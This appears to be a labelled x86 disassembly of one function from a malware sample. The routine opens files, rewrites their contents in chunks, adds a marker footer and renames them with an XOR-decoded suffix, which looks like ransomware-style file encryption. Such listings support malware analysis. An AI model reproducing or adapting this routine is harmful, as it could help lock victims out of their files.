Function at 0x402c17
Capabilities:
Check if file exists
Encode data using xor
Get file attributes
Get file size
Move file
Read file on windows
Resolve function by parsing pe exports
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38c
push ebx
push esi
xor eax, eax
mov esi, edx
push edi
mov edi, ecx
mov dword [esp + 0x5c], esi
push esi
mov dword [esp + 0x50], edi
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x54], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
xor eax, eax
inc eax
cmp ebx, 0xffffffff
je 0x402c7a
test al, bl
je 0x402c7a
xor ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x402c7a
mov edx, esi
call fcn.00407e21
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor eax, eax
push eax
push eax
push 3
push eax
push eax
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [esp + 0x48], ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp ebx, 0xffffffff
jne 0x402cde
cmp eax, 0x20
je 0x402ca9
cmp eax, 0x21
jne 0x402cd6
mov edx, esi
call fcn.00407e21
mov ecx, esi
call fcn.0040a0da
xor eax, eax
push eax
push eax
push 3
push eax
push eax
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [esp + 0x48], ebx
cmp ebx, 0xffffffff
jne 0x402cde
push 2
pop eax
jmp 0x403c5e
lea eax, [esp + 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [esp + 0x28]
or eax, dword [esp + 0x2c]
jne 0x402d00
push 3
pop eax
mov dword [esp + 0x50], eax
jmp 0x4033e1
push 0xa0
lea ecx, [esp + 0x1e4]
call fcn.00406ce6
add esp, 4
lea ecx, [esp + 0x1a4]
push 0x1e
call fcn.00406ce6
add esp, 4
lea ecx, [esp + 0x8c]
push 0x16
call fcn.00406ce6
add esp, 4
lea ecx, [esp + 0xa4]
push 0x14
pop eax
push eax
call fcn.00406ce6
add esp, 4
lea ecx, [esp + 0xb8]
push 0x38
call fcn.00406ce6
mov edx, dword [esp + 0x30]
xor eax, eax
add esp, 4
cmp edx, eax
jl 0x402d8c
jg 0x402d6f
mov ecx, dword [esp + 0x28]
cmp ecx, 0x1e
jbe 0x402d90
push eax
lea eax, [esp + 0x18]
push eax
push 0x1e
lea eax, [esp + 0x1b0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [esp + 0x2c]
xor eax, eax
mov ecx, dword [esp + 0x28]
cmp dword [esp + 0x1a4], 0x4034b50
jne 0x402e0b
cmp edx, eax
jl 0x402e0b
jg 0x402da8
cmp ecx, 0x62
jbe 0x402e0b
push 2
push eax
push 0xffffffffffffffff
push 0xffffffffffffff9e
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x18]
push eax
push 0x38
lea eax, [esp + 0xc4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
lea eax, [esp + 0x18]
push eax
push 0x14
pop ecx
push ecx
lea eax, [esp + 0xb0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
lea eax, [esp + 0x18]
push eax
push 0x16
lea eax, [esp + 0x98]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [esp + 0x2c]
mov ecx, dword [esp + 0x28]
cmp dword [esp + 0xb8], 0x6064b50
jne 0x402e87
cmp dword [esp + 0xa4], 0x7064b50
jne 0x402e87
cmp dword [esp + 0x8c], 0x6054b50
jne 0x402e87
xor eax, eax
cmp dword [esp + 0xec], eax
jl 0x402e87
mov eax, dword [esp + 0xe8]
jg 0x402e4d
cmp eax, 0xa0
jbe 0x402e87
sub eax, 0xa0
mov dword [esp + 0x7c], eax
mov eax, dword [esp + 0xec]
sbb eax, 0
cmp edx, eax
jl 0x402e87
jg 0x402e6c
cmp ecx, dword [esp + 0x7c]
jbe 0x402e87
mov eax, dword [esp + 0xe8]
sub eax, ecx
mov ecx, dword [esp + 0xec]
push 2
sbb ecx, edx
xor edx, edx
push edx
push ecx
push eax
jmp 0x402e9d
push 2
xor ecx, ecx
xorps xmm0, xmm0
push ecx
movlpd qword [esp + 0x20], xmm0
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 1
xor eax, eax
push eax
push 0xffffffffffffffff
push 0xffffff60
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x18]
push eax
push 0xa0
lea eax, [esp + 0x1ec]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [esp + 0x278], 0x57ea6b66
jne 0x402ef4
cmp dword [esp + 0x27c], 0x6616be1a
jne 0x402ef4
push 4
jmp 0x402cf6
push 0xa0
lea ecx, [esp + 0x1e4]
call fcn.00406ce6
add esp, 4
mov edi, 0x412e98
mov edx, edi
push 0x20
call fcn.00406d07
pop ecx
push 0x20
mov edx, 0x412eb8
lea ecx, [esp + 0x204]
call fcn.00406d07
pop ecx
push 0x20
mov edx, 0x412ed8
lea ecx, [esp + 0x224]
call fcn.00406d07
pop ecx
lea edx, [esp + 0x2a0]
call fcn.0040844e
push 0x4011f8
lea edx, [esp + 0x2a4]
lea ecx, [esp + 0x244]
call fcn.0040555a
pop ecx
push edi
lea edx, [esp + 0x2a4]
lea ecx, [esp + 0x284]
call fcn.0040555a
pop ecx
lea eax, [esp + 0xf0]
push eax
lea ecx, [esp + 0x284]
call fcn.0040680a
pop ecx
push 0x40
lea ecx, [esp + 0x2a4]
call fcn.00406ce6
add esp, 4
lea ecx, [esp + 0x280]
push 0x20
call fcn.00406ce6
mov ax, word [0x412e55]
add esp, 4
push 0x64
pop ecx
cmp ax, cx
jbe 0x402fc4
mov dword [esp + 0x18], ecx
jmp 0x402fcb
movzx eax, ax
mov dword [esp + 0x18], eax
mov edi, dword [esp + 0x2c]
xor eax, eax
push eax
push ecx
push edi
push dword [esp + 0x34]
call fcn.0040da70
xor ecx, ecx
push ecx
push dword [esp + 0x1c]
push edx
push eax
call fcn.0040db20
xor ecx, ecx
push ecx
push 0x20000
push edx
push eax
call fcn.0040da70
add eax, 1
mov ecx, edx
push 0
pop edx
adc ecx, edx
mov dword [esp + 0x38], eax
mov dword [esp + 0x40], ecx
cmp ecx, edx
jg 0x403023
jl 0x403017
cmp eax, 3
jae 0x403023
mov dword [esp + 0x38], 3
mov dword [esp + 0x40], edx
cmp edi, edx
jg 0x403040
jl 0x403033
cmp dword [esp + 0x28], 0x20000
jae 0x403040
xor edi, edi
mov dword [esp + 0x58], edx
inc edi
mov dword [esp + 0x54], edi
jmp 0x403088
push edx
push 0x20000
push edi
push dword [esp + 0x34]
call fcn.0040da70
mov ecx, edx
mov edi, eax
mov edx, edi
mov dword [esp + 0x54], edi
mov eax, ecx
mov dword [esp + 0x58], ecx
shld eax, edx, 0x11
shl edx, 0x11
cmp dword [esp + 0x2c], eax
jl 0x403085
jg 0x403075
cmp dword [esp + 0x28], edx
jb 0x403085
add edi, 1
push 0
pop eax
adc ecx, eax
mov dword [esp + 0x54], edi
mov dword [esp + 0x58], ecx
xor edi, edi
inc edi
mov ecx, esi
call fcn.00409e0e
xor edx, edx
mov dword [esp + 0x7c], 0x2f
mov ecx, edx
jmp 0x4030c2
movzx edx, word [esi + eax*2]
push 0x5c
pop ebx
cmp dx, bx
mov ebx, dword [esp + 0x48]
je 0x4030c8
cmp dx, word [esp + 0x7c]
je 0x4030c8
add eax, 0xffffffff
adc ecx, 0xffffffff
xor edx, edx
cmp ecx, edx
jg 0x40309d
jl 0x4030cd
cmp eax, edx
ja 0x40309d
jmp 0x4030cd
push 0
add eax, edi
pop edx
push edx
push edx
push edx
push edx
push 0xffffffffffffffff
lea edi, [esi + eax*2]
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push edi
push edx
push 0xfde9
call esi
dec eax
xor ecx, ecx
push ecx
movzx eax, ax
push ecx
mov dword [esp + 0x80], eax
movzx eax, ax
push eax
mov eax, dword [esp + 0x58]
push dword [eax + 8]
push 0xffffffffffffffff
push edi
push ecx
push 0xfde9
call esi
push ecx
push ecx
lea eax, [esp + 0x118]
push eax
lea edx, [esp + 0xfc]
lea ecx, [esp + 0x2ec]
call fcn.004026f8
mov eax, dword [esp + 0x60]
add esp, 0xc
mov dword [esp + 0x70], eax
xorps xmm0, xmm0
mov eax, dword [esp + 0x58]
mov dword [esp + 0x74], eax
xor eax, eax
movlpd qword [esp + 0x60], xmm0
cmp dword [esp + 0x2c], eax
jg 0x40346f
jl 0x40315f
cmp dword [esp + 0x28], 0x40000000
jae 0x40346f
mov esi, dword [esp + 0x38]
lea ecx, [esi*8 + 8]
call fcn.00406c8e
mov ecx, eax
xor eax, eax
mov dword [esp + 0x6c], ecx
test ecx, ecx
je 0x4033d4
cmp esi, eax
jne 0x4031a4
cmp dword [esp + 0x40], eax
jne 0x4031a4
mov eax, dword [esp + 0x64]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x60]
mov dword [esp + 0x3c], eax
jmp 0x4033c6
mov eax, dword [esp + 0x64]
mov edi, dword [esp + 0x60]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [esp + 0x34], eax
mov dword [esp + 0x3c], edi
mov ecx, dword [esp + 0x70]
mov eax, ecx
mov edx, dword [esp + 0x74]
or eax, edx
je 0x4033c2
xor eax, eax
push eax
push 2
push edx
push ecx
call fcn.0040da70
xorps xmm0, xmm0
mov dword [esp + 0x74], edx
mov edx, dword [esp + 0x34]
mov dword [esp + 0x70], eax
movlpd qword [esp + 0x18], xmm0
cmp edi, dword [esp + 0x38]
jne 0x4031fd
cmp edx, dword [esp + 0x40]
je 0x4033c2
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x44], eax
mov dword [esp + 0x60], ecx
cmp eax, dword [esp + 0x58]
jg 0x4033ae
jl 0x403223
cmp ecx, dword [esp + 0x54]
jae 0x4033ae
mov eax, ecx
or eax, dword [esp + 0x44]
je 0x403269
mov ecx, dword [esp + 0x70]
add ecx, dword [esp + 0x60]
mov eax, dword [esp + 0x74]
adc eax, dword [esp + 0x44]
mov dword [esp + 0x60], ecx
mov dword [esp + 0x44], eax
cmp eax, dword [esp + 0x58]
jl 0x40326d
jg 0x403251
cmp ecx, dword [esp + 0x54]
jb 0x40326d
mov ecx, dword [esp + 0x54]
mov eax, dword [esp + 0x58]
sub ecx, 1
mov dword [esp + 0x60], ecx
sbb eax, 0
mov dword [esp + 0x44], eax
jmp 0x40326d
mov eax, dword [esp + 0x44]
xorps xmm0, xmm0
movlpd qword [esp + 0x80], xmm0
test edi, edi
jne 0x403281
test edx, edx
je 0x4032ef
mov ebx, dword [esp + 0x84]
mov dword [esp + 0x18], ebx
mov ebx, dword [esp + 0x80]
mov dword [esp + 0x80], ebx
mov esi, dword [esp + 0x80]
mov ebx, dword [esp + 0x6c]
cmp dword [ebx + esi*8], ecx
mov ebx, dword [esp + 0x48]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
jne 0x4032d3
mov esi, dword [esp + 0x80]
mov ebx, dword [esp + 0x6c]
cmp dword [ebx + esi*8 + 4], eax
mov ebx, dword [esp + 0x48]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
je 0x40338c
add dword [esp + 0x80], 1
adc dword [esp + 0x18], 0
cmp dword [esp + 0x80], edi
jne 0x40329a
cmp dword [esp + 0x18], edx
jne 0x40329a
xor edi, edi
push edi
shld eax, ecx, 0x11
push edi
push eax
shl ecx, 0x11
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push edi
mov edi, dword [esp + 0x50]
lea eax, [esp + 0x18]
push eax
push 0x20000
push dword [edi]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [esp + 0x14]
mov edx, dword [edi]
lea ecx, [esp + 0x2e4]
call fcn.0040273e
pop ecx
mov ecx, dword [esp + 0x14]
xor eax, eax
push eax
pop edx
neg ecx
push 1
adc eax, edx
push edx
neg eax
push eax
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x1c]
push dword [edi]
push ebx
call esi
mov edi, dword [esp + 0x3c]
mov edx, dword [esp + 0x34]
add edi, 1
mov ebx, dword [esp + 0x6c]
mov ecx, dword [esp + 0x60]
push 0
pop eax
adc edx, eax
mov dword [esp + 0x3c], edi
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x34], edx
mov dword [eax + edi*8], ecx
mov eax, dword [esp + 0x44]
mov dword [ebx + edi*8 + 4], eax
mov ebx, dword [esp + 0x48]
add ecx, 1
mov dword [esp + 0x60], ecx
adc eax, 0
mov dword [esp + 0x44], eax
cmp edi, dword [esp + 0x38]
jne 0x40320d
cmp edx, dword [esp + 0x40]
jne 0x40320d
cmp edi, dword [esp + 0x38]
jne 0x4031ba
cmp edx, dword [esp + 0x40]
jne 0x4031ba
mov ecx, dword [esp + 0x6c]
call fcn.00406d33
mov edi, dword [esp + 0x4c]
jmp 0x403577
inc eax
mov dword [esp + 0x50], eax
mov edi, dword [esp + 0x4c]
mov esi, dword [esp + 0x5c]
push 0x40
lea ecx, [esp + 0xf4]
call fcn.00406ce6
add esp, 4
lea ecx, [esp + 0x2e0]
push 0xb8
call fcn.00406ce6
add esp, 4
cmp ebx, 0xffffffff
je 0x403412
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [esp + 0x50]
test ebx, ebx
jne 0x403c5c
cmp byte [0x412e57], bl
jne 0x40342e
cmp byte [0x412e58], bl
je 0x403452
push dword [edi + 4]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x403452
push dword [edi + 4]
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x403c02
xor eax, eax
mov ebx, eax
push esi
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [edi + 4]
mov ecx, esi
call fcn.00409e0e
xor edx, edx
mov ecx, edx
jmp 0x403c21
mov esi, dword [esp + 0x40]
cmp esi, eax
jl 0x40348e
mov ecx, 0x1000
jg 0x403484
cmp dword [esp + 0x38], ecx
jbe 0x40348e
mov esi, eax
mov dword [esp + 0x38], ecx
mov dword [esp + 0x40], esi
push eax
push eax
movlpd qword [esp + 0x20], xmm0
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor ecx, ecx
cmp dword [esp + 0x38], ecx
jne 0x4034b5
cmp esi, ecx
je 0x4033d9
mov eax, dword [esp + 0x64]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, dword [esp + 0x4c]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x60]
mov dword [esp + 0x3c], eax
push ecx
lea eax, [esp + 0x18]
push eax
push 0x20000
push dword [edi]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x403577
cmp dword [esp + 0x14], 0
je 0x403577
push dword [esp + 0x14]
mov edx, dword [edi]
lea ecx, [esp + 0x2e4]
call fcn.0040273e
pop ecx
mov ecx, dword [esp + 0x14]
xor eax, eax
push eax
pop edx
neg ecx
push 1
adc eax, edx
push edx
neg eax
push eax
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x1c]
push dword [edi]
push ebx
call esi
xor ecx, ecx
mov edx, 0x20000
inc ecx
add dword [esp + 0x3c], ecx
push 0
pop eax
adc dword [esp + 0x34], eax
cmp dword [esp + 0x14], edx
jne 0x403577
push ecx
push eax
push eax
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov eax, dword [esp + 0x38]
push 0
pop ecx
cmp dword [esp + 0x3c], eax
jne 0x4034cf
mov eax, dword [esp + 0x40]
cmp dword [esp + 0x34], eax
jne 0x4034cf
xor eax, eax
cmp dword [esp + 0x34], eax
jl 0x4033dd
jg 0x40358f
cmp dword [esp + 0x3c], eax
jbe 0x4033dd
push dword [esp + 0x5c]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x412ef8
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x40
pop edx
lea ecx, [esp + 0xf0]
call fcn.004055de
cmp byte [0x412e57], 0
mov dword [esp + 0x260], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x270], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 0x274], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x264], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x268], eax
mov dword [esp + 0x278], 0x57ea6b66
mov dword [esp + 0x27c], 0x6616be1a
je 0x403bc0
mov ebx, dword [0x411d49]
lea esi, [esp + 0xf0]
mov edx, dword [0x40fd45]
lea edi, [esp + 0x1a8]
push 0x2d
pop eax
mov word [esp + 0xf0], ax
xor eax, eax
mov word [esp + 0xf2], ax
mov eax, ebx
neg eax
mov dword [esp + 0x102], edx
push 6
sbb eax, eax
mov dword [esp + 0xfa], 0xffffffff
and eax, 8
mov dword [esp + 0x1a8], 0x4034b50
mov word [esp + 0xf8], ax
test ebx, ebx
mov eax, dword [0x41377c]
mov dword [esp + 0xfe], eax
mov eax, edx
cmovne eax, ebx
mov dword [esp + 0x102], eax
mov eax, dword [0x40fcc1]
mov word [esp + 0x10a], ax
pop ecx
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
mov dword [esp + 0x10a], 0x800
test ebx, ebx
mov word [esp + 0x1c0], cx
push 0x2d
cmovne edx, ebx
mov dword [esp + 0x112], 0xffffffff
or dword [esp + 0x116], 0xffffffff
lea esi, [esp + 0x10c]
or dword [esp + 0x11a], 0xffffffff
lea edi, [esp + 0x1ca]
or dword [esp + 0x11e], 0xffffffff
add eax, 0x1e
add eax, edx
mov dword [esp + 0x1c6], 0x4034b50
mov edx, dword [esp + 0x7c]
mov dword [esp + 0x1c], eax
pop eax
push 6
pop ecx
mov word [esp + 0x108], ax
push 0x14
mov word [esp + 0x122], dx
pop eax
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x28]
mov word [esp + 0x1de], ax
xor eax, eax
inc eax
add ecx, 0xa0
mov word [esp + 0x88], ax
push 0x10
pop eax
mov word [esp + 0x8a], ax
mov eax, dword [esp + 0x2c]
push 0
pop ebx
adc eax, ebx
mov dword [esp + 0x130], ecx
mov dword [esp + 0x134], eax
mov dword [esp + 0x13c], eax
movzx eax, dx
cdq
mov ebx, edx
mov dword [esp + 0x138], ecx
mov edx, dword [esp + 0x18]
xor ecx, ecx
add edx, eax
adc ecx, ebx
add edx, dword [esp + 0x28]
adc ecx, dword [esp + 0x2c]
add edx, 0xd2
mov dword [esp + 0x74], edx
push 0
pop edx
adc ecx, edx
mov dword [esp + 0x140], 0x2014b50
push 0x3f
mov dword [esp + 0x54], ecx
lea esi, [esp + 0xf4]
pop ecx
push 6
mov word [esp + 0x148], cx
lea edi, [esp + 0x14a]
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x3f
xor ecx, ecx
mov dword [esp + 0x166], edx
pop edx
push 6
mov dword [esp + 0x162], ecx
lea esi, [esp + 0x10c]
mov dword [esp + 0x16a], ecx
lea edi, [esp + 0x178]
mov dword [esp + 0x16e], ecx
pop ecx
push 0x14
mov word [esp + 0x176], dx
xor edx, edx
mov dword [esp + 0x172], 0x2014b50
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x78]
mov esi, dword [esp + 0x54]
pop ecx
mov word [esp + 0x18c], cx
xor ecx, ecx
mov dword [esp + 0x18e], ecx
mov word [esp + 0x192], cx
mov dword [esp + 0x194], ecx
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x198], ecx
mov ecx, dword [0x40fcc1]
add ecx, eax
mov dword [esp + 0xec], esi
push 0
adc edx, ebx
mov dword [esp + 0x74], ecx
mov ebx, ecx
mov dword [esp + 0xbc], 0x6064b50
pop ecx
push 0x3f
pop eax
add ebx, edi
mov word [esp + 0xc4], ax
push 0xa
adc edx, esi
mov dword [esp + 0xc4], ecx
add ebx, 0x70
mov dword [esp + 0xcc], ecx
pop eax
adc edx, ecx
mov word [esp + 0xc6], ax
push 2
pop eax
mov dword [esp + 0xcc], ecx
mov dword [esp + 0xd4], ecx
mov dword [esp + 0xdc], ecx
mov ecx, ebx
sub ecx, edi
mov dword [esp + 0xd0], eax
mov dword [esp + 0xd8], eax
mov eax, edx
sbb eax, esi
mov dword [esp + 0xbc], 0x2c
xor esi, esi
mov dword [esp + 0xe0], ecx
mov dword [esp + 0xe4], eax
mov dword [esp + 0xe8], edi
mov dword [esp + 0xa4], 0x7064b50
mov dword [esp + 0xa8], esi
mov dword [esp + 0xac], ebx
mov dword [esp + 0xb0], edx
push 2
mov edx, dword [esp + 0x7c]
xor eax, eax
or dword [esp + 0xa0], 0xffffffff
xorps xmm0, xmm0
pop ecx
push esi
mov dword [esp + 0x94], eax
sub ebx, edi
mov word [esp + 0xa4], ax
mov eax, dword [esp + 0x1c]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
add eax, 0x32
movlpd qword [esp + 0x20], xmm0
push dword [esp + 0x24]
mov dword [esp + 0xc0], ecx
push dword [esp + 0x24]
mov word [esp + 0xa4], cx
mov word [esp + 0xa6], cx
movzx ecx, dx
mov dword [esp + 0xa8], ebx
add eax, ecx
mov ebx, dword [esp + 0x58]
push ebx
mov dword [esp + 0xa0], 0x6054b50
mov dword [esp + 0x280], eax
call esi
mov edi, dword [esp + 0x4c]
xor eax, eax
push eax
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x274]
push dword [edi]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
push eax
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x1e
lea eax, [esp + 0x1b0]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [0x40fcc1]
push 0x40fcc5
push ebx
call esi
mov eax, dword [0x411d49]
test eax, eax
je 0x4039eb
xor ecx, ecx
push ecx
lea ecx, [esp + 0x14]
push ecx
push eax
push 0x411d4d
jmp 0x4039fe
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [0x40fd45]
push 0x40fd49
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x1e
lea eax, [esp + 0x1ce]
push eax
push ebx
call esi
mov ecx, dword [esp + 0x78]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
movzx eax, cx
push eax
push dword [edi + 8]
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 4
lea eax, [esp + 0x94]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x10
lea eax, [esp + 0x13c]
push eax
push ebx
call esi
push 2
pop eax
push eax
xor eax, eax
xorps xmm0, xmm0
push eax
movlpd qword [esp + 0x20], xmm0
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x1c]
push dword [edi]
push ebx
call esi
xor ecx, ecx
cmp ecx, dword [esp + 0x2c]
jl 0x403aa4
mov eax, dword [esp + 0x28]
jg 0x403a9d
cmp dword [esp + 0x26c], eax
jbe 0x403aa4
mov dword [esp + 0x26c], eax
push ecx
lea eax, [esp + 0x14]
push eax
push 0xa0
lea eax, [esp + 0x1ec]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x2e
lea eax, [esp + 0x14c]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [0x40fcc1]
push 0x40fcc5
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x2e
lea eax, [esp + 0x17a]
push eax
push ebx
call esi
mov ecx, dword [esp + 0x78]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
movzx eax, cx
push eax
push dword [edi + 8]
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 4
lea eax, [esp + 0x94]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x10
lea eax, [esp + 0x13c]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x38
lea eax, [esp + 0xc4]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x14
pop eax
push eax
lea eax, [esp + 0xb0]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x16
lea eax, [esp + 0x98]
push eax
push ebx
call esi
mov eax, dword [esp + 0x7c]
xor ecx, ecx
mov byte [esp + 0x1a], al
mov eax, ecx
mov word [esp + 0x18], 0x557b
mov dword [esp + 0x1b], 0x25553c55
mov word [esp + 0x1f], 0x5555
mov byte [esp + 0x21], cl
xor byte [esp + eax + 0x18], 0x55
inc eax
cmp eax, 9
jb 0x403ba1
lea eax, [esp + 0x18]
mov byte [esp + 0x21], cl
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x403bf7
push 2
pop eax
push eax
xor eax, eax
xorps xmm0, xmm0
push eax
movlpd qword [esp + 0x20], xmm0
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0xa0
lea eax, [esp + 0x1ec]
push eax
push ebx
call esi
xor eax, eax
mov dword [esp + 0x50], eax
jmp 0x4033dd
push 2
pop eax
mov ebx, eax
jmp 0x403c5c
push 0x5c
pop edx
cmp word [esi + eax*2], dx
push 0
pop edx
je 0x403c27
add eax, 0xffffffff
adc ecx, 0xffffffff
cmp ecx, edx
jg 0x403c09
jl 0x403c5c
cmp eax, edx
ja 0x403c09
jmp 0x403c5c
xor ecx, ecx
push 0x413780
mov word [esi + eax*2 + 2], cx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [edi + 4]
call fcn.00409d12
test eax, eax
jne 0x403c5c
push dword [0x40fd45]
mov ecx, dword [edi + 4]
mov edx, 0x40fd49
call fcn.00409d60
pop ecx
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret